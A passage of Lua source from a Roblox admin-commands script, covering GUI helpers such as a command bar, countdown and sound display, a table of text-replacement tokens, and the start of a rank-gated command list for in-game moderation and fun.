5211 X.Visible = true
5212end)() end
5213
5214function GUI:CommandBar(Player)
5215 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5216
5217 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
5218 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
5219 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
5220 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
5221
5222 local _,Rank = RANK:GetRank(Player)
5223 local UsableCommands = {}
5224 for CommandNames,Data in pairs(Commands) do
5225 if not Data.Hidden then
5226 if RANK:ConvertRank(Data[4]) <= Rank then
5227 for _,Command in pairs(CommandNames) do
5228 table.insert(UsableCommands, {Command, Data[3]})
5229 end
5230 end
5231 end
5232 end
5233
5234 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
5235
5236 local function ExecuteText()
5237 local Text = CORE:ReadProperty(RPR, Player, "Text")
5238 CORE:Chatted(Text, Player, true)
5239 CommandBox.Text = "Enter a command here"
5240 end
5241
5242 local function AddSuggestion(Text)
5243 if Text == nil then Text = Settings.Prefix end
5244 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
5245 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
5246 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
5247 if Text == Settings.Prefix then
5248 CommandBox.Text = Settings.Prefix
5249 else
5250 CommandBox.Text = Settings.Prefix..Text
5251 end
5252 CORE:ExecuteResource("Focus", CommandBox)
5253 end, true)
5254 end
5255
5256 CORE:HandleEvent(CommandBox, "MouseEnter", function()
5257 if CommandBox.Text == "Enter a command here" then
5258 CommandBox.Text = ""
5259 end
5260 end)
5261
5262 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
5263 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
5264
5265 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
5266 EnterPressed.OnServerInvoke = ExecuteText
5267
5268 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
5269 Suggest.CanvasSize = UDim2.new(0,0,0,0)
5270 Suggest:ClearAllChildren()
5271 local Text = CORE:ReadProperty(RPR, Player, "Text")
5272 if Text == "" then
5273 AddSuggestion(Settings.Prefix)
5274 end
5275
5276 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
5277 Text = string.sub(Text,#Settings.Prefix+1)
5278 end
5279 for _,Data in pairs(UsableCommands) do
5280 local Command,Args = Data[1],Data[2]
5281 if string.find(string.lower(Command),string.lower(Text)) then
5282 local NewSuggestion = Command
5283 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
5284 AddSuggestion(NewSuggestion)
5285 end
5286 end
5287
5288 end end)
5289end
5290
5291function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
5292 if not Player or not AllSeconds then return nil end
5293 AllSeconds = tonumber(AllSeconds)
5294 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
5295 AllSeconds = math.floor(AllSeconds)
5296 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
5297 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
5298 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
5299 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
5300 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
5301 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
5302
5303 local CurrentSeconds = AllSeconds
5304 local Alive = true
5305 coroutine.wrap(function() for i = 0,AllSeconds do
5306 if not Alive then break end
5307 local Seconds = tostring(math.fmod(CurrentSeconds,60))
5308 local Minutes = tostring(math.floor(CurrentSeconds/60))
5309 if #Seconds == 1 then Seconds = "0"..Seconds end
5310 if #Minutes == 1 then Minutes = "0"..Minutes end
5311 Time.Text = Minutes..":"..Seconds
5312 wait(1)
5313 if CurrentSeconds <= 0 then
5314 Alarm:Play()
5315 Time.Text = "00:00"
5316 Part.Size = UDim2.new(1,0,1,0)
5317 Restore:Invoke()
5318 wait(4)
5319 Close:Invoke()
5320 break
5321 else
5322 Tick:Play()
5323 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
5324 CurrentSeconds = CurrentSeconds - 1
5325 end
5326 end end)()
5327
5328 Closed.Event:connect(function()
5329 if Alive == true then
5330 Alive = false
5331 Tick:Stop()
5332 Alarm:Stop()
5333 end
5334 end)
5335end)() end
5336
5337function GUI:DetachChat(Player)
5338 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5339 if Player:FindFirstChild("DetachChatMML") then
5340 Player.DetachChatMML:Invoke(true)
5341 wait()
5342 Player.DetachChatMML:Destroy()
5343 end
5344
5345 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
5346 local SG = Frame.Parent.Parent.Parent
5347
5348 local DCBF = Instance.new("BindableFunction", Player)
5349 DCBF.Name = "DetachChatMML"
5350 DCBF.OnInvoke = function(Remove)
5351 if Remove then
5352 SG:Destroy()
5353 end
5354 end
5355 CORE:ExecuteResource("CoreChat", SG)
5356
5357 local IsClosed = false
5358 Closed.Event:connect(function()
5359 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5360 IsClosed = true
5361 end)
5362
5363 coroutine.wrap(function()
5364 Player.CharacterRemoving:wait()
5365 if not IsClosed then
5366 IsClosed = true
5367 wait(1)
5368 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5369 end
5370 end)()
5371end
5372
5373function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
5374 if not Player then return nil end
5375 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5376 Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
5377
5378 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5379end)() end
5380
5381function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
5382 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5383 if not SoundID then SoundID = SoundInfo["ID"] end
5384 if not TitleText then TitleText = SoundInfo["Name"] end
5385 if not CreatorText then CreatorText = SoundInfo["Creator"] end
5386 if not InputSound then InputSound = Sound end
5387
5388 local NumSounds = 0
5389 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5390 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
5391 NumSounds = NumSounds + 1
5392 end
5393 end
5394
5395 local Size = UDim2.new(0.1, 100, 0.1, 100)
5396 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5397 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5398
5399 local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
5400 local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
5401 local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
5402 local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
5403 local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
5404 local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
5405 local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
5406
5407 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5408 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5409 if Sound then
5410 CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
5411 end
5412 if Time then
5413 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5414 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5415
5416 coroutine.wrap(function()
5417 local Alive = true
5418
5419 local function StopTimer() Alive = false end
5420 Closed.Event:connect(StopTimer)
5421 Minimized.Event:connect(StopTimer)
5422 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5423
5424 for i = Time,0,-1 do
5425 for ii = 1,10 do
5426 if Alive == true then
5427 Timer.Text = i
5428 wait(0.1)
5429 else
5430 break
5431 end
5432 end
5433 end
5434 if Alive == true then
5435 Close:Invoke()
5436 else
5437 Timer:Destroy()
5438 Stop:Destroy()
5439 end
5440 end)()
5441 end
5442end
5443
5444---- STRING REPLACEMENT OPERATIONS ----
5445
5446-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5447
5448-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5449
5450StringReplacements = {
5451 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5452 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5453 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5454 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5455 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5456 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5457 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5458 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5459 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5460 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5461
5462 {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
5463 {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
5464 {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
5465 {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
5466 {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
5467 {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
5468
5469 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5470 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5471 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5472 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5473 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5474 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5475 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5476 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5477 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5478 {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
5479 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
5480 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
5481 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
5482 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5483 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5484 {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
5485}
5486
5487---- COMMANDS ----
5488
5489-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5490
5491Commands = { -- can't make local
5492 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5493 print("[MML's Admin]: Test message from "..Speaker.Name)
5494 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5495 end};
5496
5497 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5498 local Players = STRING:Scan(Arguments[1], Speaker)
5499 for _,Player in pairs(Players) do
5500 if Player.Character then
5501 Player.Character:BreakJoints()
5502 end
5503 end
5504 end};
5505
5506 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5507 local Players = STRING:Scan(Arguments[1], Speaker)
5508 for _,Player in pairs(Players) do
5509 if Player.Character then
5510 Instance.new("ForceField", Player.Character)
5511 end
5512 end
5513 end};
5514
5515 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5516 local Players = STRING:Scan(Arguments[1], Speaker)
5517 for _,Player in pairs(Players) do
5518 if Player.Character then
5519 for _,Get in pairs(Player.Character:GetChildren()) do
5520 if Get:IsA("ForceField") then
5521 Get:Destroy()
5522 end
5523 end
5524 end
5525 end
5526 end};
5527
5528 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5529 for _,Player in pairs(Server.Players:GetPlayers()) do
5530 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
5531 end
5532 end};
5533
5534 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5535 for _,Player in pairs(Server.Players:GetPlayers()) do
5536 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
5537 end
5538 end};
5539
5540 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5541 local Players = STRING:Scan(Arguments[1], Speaker)
5542 for _,Player in pairs(Players) do
5543 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
5544 end
5545 end};
5546
5547 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5548 for _,Player in pairs(Server.Players:GetPlayers()) do
5549 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
5550 end
5551 end};
5552
5553 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5554 local Players = STRING:Scan(Arguments[1], Speaker)
5555 for _,Player in pairs(Players) do
5556 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
5557 end
5558 end};
5559
5560 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5561 local Players = STRING:Scan(Arguments[1], Speaker)
5562 local AgeList = {}
5563 for _,Player in pairs(Players) do
5564 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5565 end
5566 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5567 end};
5568
5569 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5570 local Players = STRING:Scan(Arguments[1], Speaker)
5571 local AgeList = {}
5572 for _,Player in pairs(Players) do
5573 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5574 end
5575 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5576 for _,Player in pairs(SecondPlayers) do
5577 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5578 end
5579 end};
5580
5581 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5582 local Storage = {{}, {}, {}, {}}
5583 local StorageText = {}
5584 local Formatted = {}
5585 for CommandNames,Data in pairs(Commands) do
5586 if not Data.Hidden then
5587 local RankNeeded = RANK:ConvertRank(Data[4])
5588 local Add = ""
5589 if Data[4] == "Non-Admin" then Add = "BLACK " end
5590 if Data[4] == "Admin" then Add = "CYAN " end
5591 if Data[4] == "Member" then Add = "BLUE " end
5592 if Data[4] == "Owner" then Add = "BROWN " end
5593 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5594 local AddBet = Settings.Bet
5595 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5596 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5597 table.insert(Storage[RankNeeded + 1], Add..Text)
5598 StorageText[Text] = CommandNames
5599 end
5600 end
5601 for Num,_ in pairs(Storage) do
5602 table.sort(Storage[Num])
5603 end
5604 for _,Table in pairs(Storage) do
5605 for _,Command in pairs(Table) do
5606 table.insert(Formatted, Command)
5607 end
5608 end
5609 local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5610 Clicked.Event:connect(function(Text)
5611 GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
5612 end)
5613 end};
5614
5615 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5616 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5617 end};
5618
5619 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5620 if GUI:GetColor(Arguments[1]) then
5621 local ColorScheme = string.upper(Arguments[1])
5622 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5623 Settings.ColorScheme = ColorScheme
5624 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5625 else
5626 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5627 end
5628 end};
5629
5630 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5631 local List = {}
5632 for Color,_ in pairs(Colors) do
5633 table.insert(List, Color.." "..Color)
5634 end
5635 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5636 end};
5637
5638 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5639 local Transparency = tonumber(Arguments[1])
5640 if Transparency then
5641 if Transparency > 90 then Transparency = 90 end
5642 if Transparency < 10 then Transparency = 10 end
5643 Settings.TransparencyScheme = Transparency/100
5644
5645 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5646 else
5647 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5648 end
5649 end};
5650
5651 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5652 if Fonts[Arguments[1]] then
5653 Settings.Font = Arguments[1]
5654 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5655 end
5656 end};
5657
5658 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5659 Settings.Fun = not Settings.Fun
5660 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5661 end};
5662
5663 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5664 Settings.DisableAbuse = not Settings.DisableAbuse
5665 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5666 end};
5667
5668 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5669 local List = {}
5670 for Font,_ in pairs(Fonts) do
5671 if Font == Settings.Font then
5672 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5673 else
5674 table.insert(List, Font.." "..Font)
5675 end
5676 end
5677 GUI:ListGui(Speaker, "Font list", List, 44453197)
5678 end};
5679
5680 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5681 local SoundID = tonumber(Arguments[1])
5682 if SoundID then
5683 Settings.ExecuteNotificationSound = SoundID
5684
5685 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5686 else
5687 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5688 end
5689 end};
5690
5691 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5692 Settings.ExecuteNotificationSound = 0
5693 end};
5694
5695 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5696 local Players = STRING:Scan(Arguments[1], Speaker)
5697 for _,Player in pairs(Players) do
5698 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5699 end
5700 end};
5701
5702 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5703 local Players = STRING:Scan(Arguments[1], Speaker)
5704 for _,Player in pairs(Players) do
5705 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5706 end
5707 end};
5708
5709 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5710 local Players = STRING:Scan(Arguments[1], Speaker)
5711 for _,Player in pairs(Players) do
5712 coroutine.wrap(function()
5713 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5714 wait(1)
5715 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5716 end)()
5717 end
5718 end, Hidden = true};
5719
5720 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5721 local Players = STRING:Scan(Arguments[1], Speaker)
5722 for _,Player in pairs(Players) do
5723 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5724 end
5725 end};
5726
5727 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5728 local Players = STRING:Scan(Arguments[1], Speaker)
5729 for _,Player in pairs(Players) do
5730 CORE:ChangeName(Player, Arguments[2])
5731 end
5732 end};
5733
5734 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5735 local Players = STRING:Scan(Arguments[1], Speaker)
5736 for _,Player in pairs(Players) do
5737 if Player.Character then
5738 local Head = Player.Character:FindFirstChild("Label")
5739 if Head then Head:Destroy() end
5740 local Head = Player.Character:FindFirstChild("Head")
5741 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5742 end
5743 end
5744 end};
5745
5746 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5747 local Players = STRING:Scan(Arguments[1], Speaker)
5748 for _,Player in pairs(Players) do
